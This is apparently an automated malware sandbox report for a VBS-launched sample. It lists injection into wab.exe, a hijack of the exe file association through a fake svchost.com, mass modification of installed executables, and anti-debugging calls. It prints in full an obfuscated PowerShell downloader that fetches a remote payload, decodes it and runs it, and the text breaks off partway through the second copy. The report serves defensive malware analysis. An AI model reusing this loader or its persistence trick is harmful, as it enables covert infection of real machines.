Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Loads dropped DLL

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\windows mail\wab.exe	N/A

Modifies system executable filetype association

persistence

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of SetThreadContext

Description	Indicator	Process	Target
PID 2716 set thread context of 1260	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe

Drops file in Program Files directory

Description	Indicator	Process	Target
File opened for modification	C:\PROGRA~2\Adobe\READER~1.0\Reader\Eula.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\ACCICONS.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\INFOPATH.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\ONENOTE.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{4D8DC~1\VC_RED~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\OFFICE~1\Setup.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~3.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\misc.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\setup_wm.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\wmprph.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{EF6B0~1\VCREDI~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\READER~1.0\Resource\Icons\SC_REA~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\ADOBEA~1\Versions\1.0\ADOBEA~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\MSOXMLED.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\INTERN~1\ielowutil.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\OIS.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\wmlaunch.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\READER~1.0\Reader\ACROBR~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\ink\mip.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GO664E~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\WORDICON.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~1\WinMail.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\CNFNOT32.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\GROOVEMN.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\POWERPNT.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\wmplayer.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\DW\DW20.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\MSOICONS.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~2.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\BCSSync.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\MSOHTMED.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\ONENOTEM.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\VPREVIEW.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~1\wabmig.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\READER~1.0\SETUPF~1\{AC76B~1\Setup.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{61087~1\VCREDI~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\Updater6\ADOBE_~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\SELFCERT.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\XLICONS.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI4223~1\sidebar.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\Oarpmany.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\INTERN~1\iexplore.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\wmpshare.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~4\ImagingDevices.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{33D1F~1\VCREDI~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\SOURCE~1\OSE.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOF5E2~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\DISABL~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\MSTORE.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\GRAPH.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\WINWORD.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\READER~1.0\Reader\LOGTRA~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\DW\DWTRIG20.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~4.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\INTERN~1\ieinstal.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\WMPDMC.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\TextConv\WksConv\Wkconv.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOBD5D~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\MSOSYNC.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\MSOUC.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\NAMECO~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\wmpconfig.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A

Drops file in Windows directory

Description	Indicator	Process	Target
File opened for modification	C:\Windows\svchost.com	C:\Program Files (x86)\windows mail\wab.exe	N/A

Enumerates physical storage devices

Modifies registry class

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious behavior: MapViewOfSection

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2156 wrote to memory of 2508	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2156 wrote to memory of 2508	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2156 wrote to memory of 2508	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2508 wrote to memory of 2784	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe
PID 2508 wrote to memory of 2784	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe
PID 2508 wrote to memory of 2784	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe
PID 2508 wrote to memory of 2716	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2508 wrote to memory of 2716	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2508 wrote to memory of 2716	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2508 wrote to memory of 2716	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2716 wrote to memory of 2244	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 2716 wrote to memory of 2244	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 2716 wrote to memory of 2244	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 2716 wrote to memory of 2244	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 2716 wrote to memory of 1260	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 2716 wrote to memory of 1260	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 2716 wrote to memory of 1260	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 2716 wrote to memory of 1260	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 2716 wrote to memory of 1260	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 2716 wrote to memory of 1260	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\3a262200a07c9f446ef95a399919a11960671591b90e56312c61b31c2a39dd3a.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$verdensfjerneconomatic = 1;$Vastities='Su';$Vastities+='bstrin';$Vastities+='g';Function Concolor($Weaselly){$Genoptagelserne=$Weaselly.Length-$verdensfjerneconomatic;For($verdensfjerne=5;$verdensfjerne -lt $Genoptagelserne;$verdensfjerne+=6){$Tetanuses+=$Weaselly.$Vastities.Invoke( $verdensfjerne, $verdensfjerneconomatic);}$Tetanuses;}function ratlaasene($Kontrasts){& ($Protektionerne) ($Kontrasts);}$Zemas=Concolor 'Ka,riMMisaloFor,azRet.si ,ymplexponlD.scoaForts/Rug,k5cirku.Hyp,t0Stimu Runds( annuWSavori CardnReguld reecoHvi.ewAntissPrea so,mNKd,onTProdu non,l1Autoe0Kamer.I.otr0Trans;rejse Inn.WPres.iB,kenn Trkn6Stift4Super; ef e Hi,loxUdst 6Rygel4Quidd;Termo PensrProtevSiali: Semi1 Over2Marsi1Tmrer.Konto0 aria),msae jeerGSolodeKunstcfaberk frakoHypos/ lowp2Tridk0bogca1Vas,e0Damas0 ervi1Finge0Diphe1Stage K mplFMann iSwashr G,ute,udsjfCanceoFrustxsmin /Premi1Bered2Porce1 Xeno.voxe,0Antip ';$Egenartets=Concolor 'BathmU MorgsetuieeMarksrDepic-HaanlASagtmgAthaleSplitnFore,t Ther ';$Bogbinderi=Concolor '.engehpolyttTangltOv rapBridgs Tact:Grund/Optog/Snkniw,rickwAftrywDevot.SregnsP rsoeLnmo,n Sandd .ymmsD flopDysuraDaarlcVandfeImipr.Bottlc Af,eo N mamAntid/ b.skpPokinr .nsooYvonn/Exs.fd ,niflprste/Monop7 ightdVulcahAcantiSkannd .mmu7Spawn ';$Prakriti=Concolor 'Fangs>Neigh ';$Protektionerne=Concolor 'damesiGr.fie homoxM,til ';$Dournesses='Forureningskildens';ratlaasene (Concolor 'NatioSNyt ieSammetpea.a-Bedl,CNont o FrognanskatLivreeAssonn F.lkt Thic D sse-DerriPEdifiaOrgantProvih .jen Per.eTDisse: Tykn\BetonDSk.kkiOverimSti,lyUrban.LakfatFi,kexvr,retBygrn Skave-grassVFejlfaDiplol San u B egeJosfl Bombe$Lab.aDNoncooWooleu GemarUdso.nEnerge Ap.ssFlosssPreh,e KommsApoko; ,top ');ratlaasene (Concolor 'Mout.i DambfLor.e Wiver(AdscitTrocte Foras leoptAl al- LeiopPlastaOverftRetarh Tour BugseTSulai: tran\W,sseDAppleiShab,mTil.sySmnde.UnadutRligsx Ekstt trep)Marke{WhiteeD.bstxPosthioplbetBes,a}.onre;Overs ');$Unensouled = Concolor 'Tu,lieFrknec PalmhBla,koLa el .erde% hantaOraklpGodtepFrancdVarmeamaggitUntemaBedri%Beslu\UnderAMucoscFlskeeRatiot Ungry Kakol DeramOverteBourotpa,eih SognyGrisslTilbycKnl.daMe.virForh bF.riniWal,inForuroMisi.lRdstj. ,urrRUsseloSkndinRende D,mit& Ossa& flam LyskoeVul,scGdninh AcetoEnerg skr.p$Stade ';ratlaasene (Concolor 'Gr nd$ Ind,g.dhullVoda.oDespob freda Pte,lHedg,:W.llsPSp bra Reg,g Kab,aU,sidn DeciiHologsY,lloh,ende7Misco3Apo.i=Aya o(B.slac CrakmtvistdCh,rd Cubby/honeyconsla Auric$ C.raUSluednHexaceDesinnMe,dosAnenco Du.auMan.ali,trae Rentd Kuve)Flere ');ratlaasene (Concolor ' Ggep$O tspgGunmal Po toChamob Ts.racan,llParad:OperaJWasteuOmstyb SteriHavgalStrikaNo petDeodoo Ef.erForpoyPaabu= Obse$V.agmBDiploo Op ygmed,tbHazariA,arynToecadEks.ee ,lepr hjskiSuper.CatapsTunenpTe.nglUnbeliSerpet.erip(,mora$ PremPDeuterSkruma Ads,kAk,ierRgskyiOverdt Be.aiPrebr)Svovl ');$Bogbinderi=$Jubilatory[0];ratlaasene (Concolor 'Te ef$UnbesgPartilO ermoAlt rbP.incaPerlul Anti:terneUSa,knnDemi,dO sehe Fermr G nogBegrdr phenuSysken HvepdNine.sEfterhkontorCotypeKlampsjubel=.urerNhexoyeNonpow Feha-OvervOBotchbReseaj ,romeForfecC ouptEfter .ippoSS,ejeyVrdigsOdonttTusineUnambm Arb .TilisNElapie.ensttRusso.varskW.aeone,weakbKnhjeCColorlUnfibi DeraeFllesnFisketNumer ');ratlaasene (Concolor 'M.lle$U,domUOpslanVeer,dMillieH.ster Parag ReporlnpoluAnnulnBogsidGirlesPanteh AkvarKappeeraylisGhane. HabiHluckneArisia RapfdSpanseInfelrT,klosTeleo[Ajlef$Si,tpEUdtogg SpinePerianSensoa bandrCofint ulvseGesantBo.casTagli]Ekste=Vinpl$ for.ZSpgefeProb,mcreamaRepa s Klo, ');$Healthiness=Concolor 'NaaleUOmstdn Osted Mi le NedkrHyp,kgForurr Hondu dvksnTembedMonoksLocalhotte r RefoePr.sts F.sk.R.ptuDRe.mbo C,utwUho,onSymbolVerdeo iegaPolead ChreFovenei.omanlOogoneVendi(Phre.$ DespBBitbloc remgI,degbMode iChi,nn Dir,dHypereReallrPerici Ampu,Situ.$SkotsB Civio.jernu ConfgBermmaFrockiGyritn Su,dv Undei Po tlTaintlRethaeMedioaGlbche TrusrSupernFourpeMecha)Frica ';$Healthiness=$Paganish73[1]+$Healthiness;$Bougainvilleaerne=$Paganish73[0];ratlaasene (Concolor 'I ter$Dy,bug,oogolMyxocoCy.nkbFavoraPurdalGunna:Al.ueSCurvenSjokkuTerm rDesulpMuta eBiltynPrefaoKrimit B nde WindrOverts Daad=Rygdk( TartTLaveeeTingss Spi.t Melt-P.ogrPDeempaAd ptt isfuhPeace untur$CrossBTopiaoStam.u Ad.ig MulmaAudioi RegenBanffvE,nyfiTids lFor elPredueSai.taRefereUrocyrForebnpraese edst) Loss ');while (!$Snurpenoters) {ratlaasene (Concolor 'astig$ Diskg N,nmlhymenoJuri b Hydra SwimlSubso: P,riEDyrtikBecalsoply,aAandsm DeteeRammenEnsilsUforeoUmaa rSrkerd Tu nndan kiSchepn.onorgHj,taeKulturVisuasPrinc= N,bi$AnalstU.smyrKasteuEkphoeKruse ') ;ratlaasene $Healthiness;ratlaasene (Concolor 'Pa laSMa edtVentiaVildsrStyrkt Circ- gyptSFynsklUncateAtel,e Res,pCrev. Dia.4Fj rb ');ratlaasene (Concolor ' ,amm$ HydrgMglinlBrilloPlanebJacobaReocclpen.e: NighSGra,snO aliuTrosbrMinidpPredeeFolkenk,udeoCo,not RelieamtsprH,lias Omb =Kante(CirkuTJhooleBrasqsNyvlgtBonde-allaeP kelta H,det ClimhLegis Trol$ ForbBHeathoBrutuuPavagg elvhaInteriSue fn Bon vDobb iPhyselH.perlConiaeLandfaUnaideMaa erUddatnMantbeServo)Afsva ') ;ratlaasene (Concolor ' onol$Snobbg GanslUnexpoModulbStretaVenchlMeldi:ObeliBOrdinrS,kunuEyrfig lokseNon.orFl veeCobblr Betrf NoreaHennarPortii,aglinDiskegEnsfoe Gr,tr Rhil=Defib$BacksgMundgl outioDam,bbTelefaBrainlSemis:Fy reHHjemloBuni.r Huggtvaishe VolknPre e+Infol+ Rout% Serv$GuiltJTri.euMiljpb Grouip,psilGangbaFjlentUdlbsoPennyrameriyUnr,p.SemihcEneb,odeva.u AdrenPlanetStucc ') ;$Bogbinderi=$Jubilatory[$Brugererfaringer];}$Swimsuit=280753;$Differentialforstrker=28374;ratlaasene (Concolor 'Gamb $Gu sbgbl,dml rugeo P oebGramma To mlBridg: Ov rSDaavitSkildoInforrAdvokmChalkfV.gnmu Fr.olCaterdM,xtueInlea lod=,nter StrikGVurdeeUnsertQ,int-BicreC frilore.elnKipfetSandaePe,rinSto mtRekr, Antig$ ChroB KantoTaphruFo fjg Supea,olysi GharnFllesvIcticiKanonl Bl.sl F rue,osenaPundieHaar.rBagsln P,eaeBrndg ');ratlaasene (Concolor ' ,gri$ NeurgComicl DispoHardfbEnkeraCamoulCelib: CheeSBoudeh ,ensaSolutnBrankt SyssuMundsnC trugLuxur Eueme=Riv,r P,rma[L aveSRev,lySter,sSchiztHj,ste Tambm Enk.. ,pgeCCalyco ppelnStdtevUnsloeBi,anrRac,dt Nive]Semmy:Verts:IndhsFMou,nrUnsooo .rmlmCtrlbBSve,sa IrrisS tteeT,etu6Natte4LakfeSguvactIndrerSaloniHypotnChampgEpony( orge$kopieS ngratProt.o Resur BrndmLirasf Yaplu agrelMi.cldCr,wbeCh ri) Ensp ');ratlaasene (Concolor ' ,ver$Subchg Ja,blBioreoAm.dob Tekia P ell ,ils: pksSWi,dokEringoLop,or,ewrapSkabeeDd,stdFabrieR fugs C ar .mphi= pro. sight[ DesiSPanteyOver,s KoektZanziesvovlmBowdl.Sk.llT slasePo sexUdkobtbarmh.,edbrEStddmn folkcAfsttofiskedBindiiEld,rnOgre gScaff]Ponde:Aftal:G,aehATrochSElek CBerolIW,ittIKldni.QuestG P.yteFarvetBje.gSS miht hilrNonsuiBo.arnHospigFrave(Vir.u$ UbetSR,conhR tteaFr msnScoottAppe.u ryptnrequeg He,a)B,sla ');ratlaasene (Concolor 'Kamph$ ind.gOrganlbib loHip,ib couta Kamflemmer:Hir,nL,angvoDe,pekVestua.ntrulSkonsiPleursAnklaeBrne,r PartiBorn n MontgSemim= .egi$KilopSBaglikLumutoTrosfr P etpPaahnePubisd ResteApplisMarty.Ani.as.xcuruGnar,b Texss se,vt,jaktrOutthiReisan.hegegCe la( arad$StagnSAdornwsun,iiFi,zcm M,sksNevusuForumiSpredt cre,dragl$proteDOceani llesftick.fViatoeTrrehrDampbenebulnBestrtTerciiK lopaAvnerlBrystfb drvo V lurColacsF aeltB aavr Len.kBronkeSpirorSuper)Herre ');ratlaasene $Lokalisering;"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Acetylmethylcarbinol.Ron && echo $"

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$verdensfjerneconomatic = 1;$Vastities='Su';$Vastities+='bstrin';$Vastities+='g';Function Concolor($Weaselly){$Genoptagelserne=$Weaselly.Length-$verdensfjerneconomatic;For($verdensfjerne=5;$verdensfjerne -lt $Genoptagelserne;$verdensfjerne+=6){$Tetanuses+=$Weaselly.$Vastities.Invoke( $verdensfjerne, $verdensfjerneconomatic);}$Tetanuses;}function ratlaasene($Kontrasts){& ($Protektionerne) ($Kontrasts);}$Zemas=Concolor 'Ka,riMMisaloFor,azRet.si ,ymplexponlD.scoaForts/Rug,k5cirku.Hyp,t0Stimu Runds( annuWSavori CardnReguld reecoHvi.ewAntissPrea so,mNKd,onTProdu non,l1Autoe0Kamer.I.otr0Trans;rejse Inn.WPres.iB,kenn Trkn6Stift4Super; ef e Hi,loxUdst 6Rygel4Quidd;Termo PensrProtevSiali: Semi1 Over2Marsi1Tmrer.Konto0 aria),msae jeerGSolodeKunstcfaberk frakoHypos/ lowp2Tridk0bogca1Vas,e0Damas0 ervi1Finge0Diphe1Stage K mplFMann iSwashr G,ute,udsjfCanceoFrustxsmin /Premi1Bered2Porce1 Xeno.voxe,0Antip ';$Egenartets=Concolor 'BathmU MorgsetuieeMarksrDepic-HaanlASagtmgAthaleSplitnFore,t Ther ';$Bogbinderi=Concolor '.engehpolyttTangltOv rapBridgs Tact:Grund/Optog/Snkniw,rickwAftrywDevot.SregnsP rsoeLnmo,n Sandd .ymmsD flopDysuraDaarlcVandfeImipr.Bottlc Af,eo N mamAntid/ b.skpPokinr .nsooYvonn/Exs.fd ,niflprste/Monop7 ightdVulcahAcantiSkannd .mmu7Spawn ';$Prakriti=Concolor 'Fangs>Neigh ';$Protektionerne=Concolor 'damesiGr.fie homoxM,til ';$Dournesses='Forureningskildens';ratlaasene (Concolor 'NatioSNyt ieSammetpea.a-Bedl,CNont o FrognanskatLivreeAssonn F.lkt Thic D sse-DerriPEdifiaOrgantProvih .jen Per.eTDisse: Tykn\BetonDSk.kkiOverimSti,lyUrban.LakfatFi,kexvr,retBygrn Skave-grassVFejlfaDiplol San u B egeJosfl Bombe$Lab.aDNoncooWooleu GemarUdso.nEnerge Ap.ssFlosssPreh,e KommsApoko; ,top ');ratlaasene (Concolor 'Mout.i DambfLor.e Wiver(AdscitTrocte Foras leoptAl al- LeiopPlastaOverftRetarh Tour BugseTSulai: tran\W,sseDAppleiShab,mTil.sySmnde.UnadutRligsx Ekstt trep)Marke{WhiteeD.bstxPosthioplbetBes,a}.onre;Overs ');$Unensouled = Concolor 'Tu,lieFrknec PalmhBla,koLa el .erde% hantaOraklpGodtepFrancdVarmeamaggitUntemaBedri%Beslu\UnderAMucoscFlskeeRatiot Ungry Kakol DeramOverteBourotpa,eih SognyGrisslTilbycKnl.daMe.virForh bF.riniWal,inForuroMisi.lRdstj. ,urrRUsseloSkndinRende D,mit& Ossa& flam LyskoeVul,scGdninh AcetoEnerg skr.p$Stade ';ratlaasene (Concolor 'Gr nd$ Ind,g.dhullVoda.oDespob freda Pte,lHedg,:W.llsPSp bra Reg,g Kab,aU,sidn DeciiHologsY,lloh,ende7Misco3Apo.i=Aya o(B.slac CrakmtvistdCh,rd Cubby/honeyconsla Auric$ C.raUSluednHexaceDesinnMe,dosAnenco Du.auMan.ali,trae Rentd Kuve)Flere ');ratlaasene (Concolor ' Ggep$O tspgGunmal Po toChamob Ts.racan,llParad:OperaJWasteuOmstyb SteriHavgalStrikaNo petDeodoo Ef.erForpoyPaabu= Obse$V.agmBDiploo Op ygmed,tbHazariA,arynToecadEks.ee ,lepr hjskiSuper.CatapsTunenpTe.nglUnbeliSerpet.erip(,mora$ PremPDeuterSkruma Ads,kAk,ierRgskyiOverdt Be.aiPrebr)Svovl ');$Bogbinderi=$Jubilatory[0];ratlaasene (Concolor 'Te ef$UnbesgPartilO ermoAlt rbP.incaPerlul Anti:terneUSa,knnDemi,dO sehe Fermr G nogBegrdr phenuSysken HvepdNine.sEfterhkontorCotypeKlampsjubel=.urerNhexoyeNonpow Feha-OvervOBotchbReseaj ,romeForfecC ouptEfter .ippoSS,ejeyVrdigsOdonttTusineUnambm Arb .TilisNElapie.ensttRusso.varskW.aeone,weakbKnhjeCColorlUnfibi DeraeFllesnFisketNumer ');ratlaasene (Concolor 'M.lle$U,domUOpslanVeer,dMillieH.ster Parag ReporlnpoluAnnulnBogsidGirlesPanteh AkvarKappeeraylisGhane. HabiHluckneArisia RapfdSpanseInfelrT,klosTeleo[Ajlef$Si,tpEUdtogg SpinePerianSensoa bandrCofint ulvseGesantBo.casTagli]Ekste=Vinpl$ for.ZSpgefeProb,mcreamaRepa s Klo, ');$Healthiness=Concolor 'NaaleUOmstdn Osted Mi le NedkrHyp,kgForurr Hondu dvksnTembedMonoksLocalhotte r RefoePr.sts F.sk.R.ptuDRe.mbo C,utwUho,onSymbolVerdeo iegaPolead ChreFovenei.omanlOogoneVendi(Phre.$ DespBBitbloc remgI,degbMode iChi,nn Dir,dHypereReallrPerici Ampu,Situ.$SkotsB 